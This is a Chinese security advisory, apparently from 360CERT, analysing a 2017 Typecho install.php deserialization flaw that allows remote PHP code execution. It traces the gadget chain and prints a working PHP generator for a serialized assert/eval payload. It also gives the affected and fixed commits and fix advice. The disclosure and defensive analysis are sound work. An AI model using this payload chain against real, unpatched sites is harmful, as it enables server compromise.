typecho前台GETSHELL分析预警
2017-10-26 15:08

enter image description here

0x00 背景介绍

2017年10月24日,typecho被爆出install.php页面存在反序列化任意php命令执行漏洞,危害广泛

0x01 漏洞概述

install.php一处if判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链 导致任意php命令执行

0x02 漏洞攻击面影响

1. 影响面

几乎市面上的未及时更新的所有typecho都受到该漏洞影响

2. 影响版本

git commit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

之前的几乎所有版本

3. 修复版本

git commit e277141c974cd740702c5ce73f7e9f382c18d84e

以后的commit

0x03 漏洞详情

1. 漏洞代码

enter image description here

enter image description here

这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧

所以把思路转向字符串拼接的时候

寻找下__toString()

其实只有三个class有这个__toString()

var/Typecho/Feed.php
var/Typecho/Config.php
var/Typecho/Db/Query.php

enter image description here

这里面大致出现了如下几种调用

$item['xxx']
$item['xxx']->$yyyy
$this->

enter image description here

从这个点可以有些新的思考

因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法

class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout

有这么些个函数是带有__get()方法的

enter image description here

有这么一处完整不经过变化处理的

然后直接由call_user_func执行构造好的指定代码

enter image description here

0x04攻击利用分析

1. Payload生成
<?php

class Typecho_Request
{
    private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
    private $_filter = array('assert');

}
$payload1 = new Typecho_Request();

class Typecho_Feed
{
    private $_type = 'RSS 2.0';
    private $_items;

    public function __construct($x1)
    {
        $this->_items[] = array('author'=>$x1);
    }
}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用验证

enter image description here

0x06 修复建议

  1. 及时同步官方分支
  2. 注释掉install.php相关代码

0x07 时间线

2017-10-24 typecho官方更新commit修复漏洞

2017-10-25 360CERT完成分析报告

2017-10-26 360CERT发布分析报告

0x08 参考文档

typecho “后门”分析: http://paper.tuisec.win/detail/3e924e55456f065.jsp

php自动调用: http://www.cnblogs.com/shirui/p/4767994.html

php反序列化: http://bobao.360.cn/learning/detail/4122.html